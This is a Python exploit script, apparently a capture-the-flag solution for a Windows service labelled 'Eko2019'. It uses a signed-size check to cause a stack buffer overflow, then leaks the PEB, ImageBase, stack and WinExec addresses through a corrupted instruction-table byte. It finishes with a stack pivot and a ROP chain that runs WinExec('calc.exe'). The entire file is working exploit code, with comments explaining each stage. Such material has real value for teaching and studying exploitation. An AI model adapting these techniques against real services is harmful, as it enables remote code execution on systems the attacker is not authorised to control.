import socket
import struct
import time
    
def make_conn():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('localhost', 54321))
    return s
   
# Stage 1 --- leak PEB address --------------------------------------------- 
io = make_conn()

payload  = b"Eko2019\x00"        # header magic values
payload += struct.pack("<i", -1) # packet size
                                 # there is a check for packet_size <= 512
                                 # -1 will bypass the check as the comparasion is signed
                                 # but, the recv() call takes the size paramenter as unsigned
                                 # this will result into a buffer overflow

control_byte = struct.pack('<B', 0x65)
# the application generates some function at runtime using a table of instructions
# we are able to control the index in instruction table using a BOF
# there are 0xff entries in the instruction table that look like this:
# <current index as byte>
# mov rax, [rcx]
# ret repeated 4 times

# we are able to use any byte in range 0 - 0xff
# the most useful byte I found is 0x65, because it will malform the instructions to the following sequence:
# mov rax, gs:[rcx]
# in this way, we are able to read anything from GS (as we control RCX too)
# the good part is that GS contains the TEB, which has at offset 0x60, a pointer to PEB
# so setting controle_byte to 0x65 and rcx to 0x60 will result in a memory leak,
# to be exact, the address of PEB

# I forgot to mention, rax is the return value of the function
# the returned value will be sent to the user in the send() call 

payload += b"JUNK"
payload += b"A" * 512              # fill the buffer on the stack
payload += control_byte + b"abc"   # overwrite the instruction table index with  "control_byte"
payload += b"ABCD"
payload += struct.pack('<Q', 0x60) # overwrite RCX valued saved on the stack

io.send(payload)  
data        = io.recv(8)
PEB_address = struct.unpack('<Q', data)[0]
print ("PEB address leaked: {}".format(hex(PEB_address)))
io.close()

# Stage 2 --- leak ImageBase ---------------------------------------------
io = make_conn()

# exploit the same BOF, but this time set RCX to PEB address + 0x10 in order to leak ImageBase
payload  = b"Eko2019\x00"
payload += struct.pack("<i", -1)
control_byte = struct.pack('<B', 0x90) # use nop; mov rax, [rcx]; ret; this time
payload += b"JUNK"
payload += b"A" * 512 
payload += control_byte + b"abc"
payload += b"ABCD"
payload += struct.pack('<Q', PEB_address + 0x10)

io.send(payload)
data =              io.recv(8)
ImageBase_address = struct.unpack('<Q', data)[0]
print ("ImageBase address leaked: {}".format(hex(ImageBase_address)))
io.close()

# Stage 3 --- leak the stack address ---------------------------------------------
io = make_conn()

payload  = b"Eko2019\x00"
payload += struct.pack("<i", -1)
control_byte = struct.pack('<B', 0x65) # mov rax gs:[rcx]; ret;
payload += b"JUNK"
payload += b"A" * 512 
payload += control_byte + b"abc"
payload += b"ABCD"
payload += struct.pack('<Q', 0x8) # rcx

io.send(payload)
data =              io.recv(8)
StackLimit_address = struct.unpack('<Q', data)[0]
print ("StackLimit address leaked: {}".format(hex(StackLimit_address)))
io.close()

# Stage 4 --- scan the stack layout ---------------------------------------------
# becase the stack layout is dependent to the environment, even if we know the base/limit address we can't be 100% sure
# where our data resides onto the stack
# to achive 100% reability, we will read from the limit address 8-byte chunks at a time until we find a magic value from our buffer
# after that we will know where our data resides and the stack layout of our function

MAGIC_VALUE = struct.pack("<Q", 0xdeadbeef)
current_address = StackLimit_address - 0x8
buffer_address = None
for i in range(0x1000):
    io = make_conn()
    
    payload  = b"Eko2019\x00"
    payload += struct.pack("<i", -1)
    control_byte = struct.pack('<B', 0x90) # nop; mov rax, [rcx]; ret;
    payload += b"JUNK"
    payload += MAGIC_VALUE * (512 // 8) 
    payload += control_byte + b"abc"
    payload += b"ABCD"
    payload += struct.pack('<Q', current_address) # rcx

    io.send(payload)
    data =              io.recv(8)
    leaked = struct.unpack('<Q', data)[0]
    print ("[{}] {}".format(hex(current_address), hex(leaked)))
    if leaked == 0xdeadbeef:
        print ("Found the magic value")
        buffer_address = current_address
        break
    
    current_address -= 0x8
    io.close()
    
if buffer_address == None:
    print ("Failed to find the input buffer")
    exit(1)

calc_exe_string = buffer_address - 0x1f8 # at this offset we will write a "calc.exe" string for calling WinExec
print ("\"calc.exe\" at {}".format(hex(calc_exe_string)))

# Stage 5 --- leak WinExec address ---------------------------------------------
io = make_conn()

# we need the address of WinExec for a successful server takeover
# leaking it is easy, as it is present in the import table
WinExecImportTable = ImageBase_address + 0x9010

payload  = b"Eko2019\x00"
payload += struct.pack("<i", -1)
control_byte = struct.pack('<B', 0x90) # nop; mov rax, [rcx]; ret;
payload += b"JUNK"
payload += b"A" * 512 
payload += control_byte + b"abc"
payload += b"SIGN"
payload += struct.pack('<Q', WinExecImportTable) # rcx

io.send(payload)
data =              io.recv(8)
WinExec = struct.unpack('<Q', data)[0]
print ("WinExec address leaked: {}".format(hex(WinExec)))
io.close()

# Final Stage --- pivot the stack and ROP ---------------------------------------------
#input('...')
io = make_conn()

# this time we set rcx to a pivoting gadget, push rcx to the stack and then return
# we will jump in our controlled buffer, so we can ROP
pivot_gadget = ImageBase_address + 0x158b # add rsp, 0x78; ret;

payload  = b"Eko2019\x00"
payload += struct.pack("<i", -1)
payload += b"JUNK"

control_byte = struct.pack('<B', 0x51) # push rcx
payload += b"calc.exe\x00".ljust(16, b"A") # padding including calc.exe string (16 bytes)

# the ROP chain
# we need to call WinExec("calc.exe", SW_SHOWNORMAL), so we need to set 2 registers in the following manner:
# RCX = address of "calc.exe"
# RDX = SW_SHOWNORMAL (1)

# 0x00000001400089ab: pop rcx; or byte ptr [rax], al; add byte ptr [rax - 0x77], cl; add eax, 0x4b12; add rsp, 0x48; ret; 
# 0x0000000140004525: pop rdx; add byte ptr [rax], al; cmp word ptr [rax], cx; je 0x4530; xor eax, eax; ret; 
# those are the only gadgets found for setting RCX and RDX, and as we see, they are accsing [RAX], so we will need to put a valid address into RAX
# this is easy as we have a lot of leaks and the follwing gadget in the binary
# 0x0000000140001167: pop rax; ret;

pop_rax       = ImageBase_address + 0x1167
pop_rcx       = ImageBase_address + 0x89ab
pop_rdx       = ImageBase_address + 0x4525
add_rsp_0x10  = ImageBase_address + 0x8789 
add_rsp_0x58  = ImageBase_address + 0x1164
add_rsp_0x68  = ImageBase_address + 0x7880
add_rsp_0x78  = ImageBase_address + 0x158b
SW_SHOWNORMAL = 0x1
SW_SHOW       = 0x3

rop_chain  = [pop_rax]
rop_chain += [calc_exe_string - 0x8] # some valid address on the stack
rop_chain += [pop_rdx]
rop_chain += [SW_SHOW]
rop_chain += [pop_rax]
rop_chain += [calc_exe_string - 0x8]
rop_chain += [pop_rcx]
rop_chain += [calc_exe_string]
rop_chain += [0xcafebabe] * (0x48 // 8) # padding for add rsp, 0x48;
rop_chain += [WinExec]
# this part will ensure that the application will return to the main function without any damage
rop_chain += [add_rsp_0x10]
rop_chain += [0xcafebabe] * 2 # padding again
rop_chain += [add_rsp_0x78]
rop_chain += [0xffff] * 15
rop_chain += [add_rsp_0x78]
rop_chain += [0xffff] * 15
rop_chain += [add_rsp_0x78]
rop_chain = [struct.pack("<Q", gadget) for gadget in rop_chain]
rop_chain = b''.join(rop_chain)

payload += rop_chain + b"A" * (512 - 16 - len(rop_chain)) 
payload += control_byte + b"abc"
payload += b"ABCD"
payload += struct.pack('<Q', pivot_gadget)
io.send(payload)

# just to keep the socket alive
io.recv(8)
io.close()
print ("Pwned")
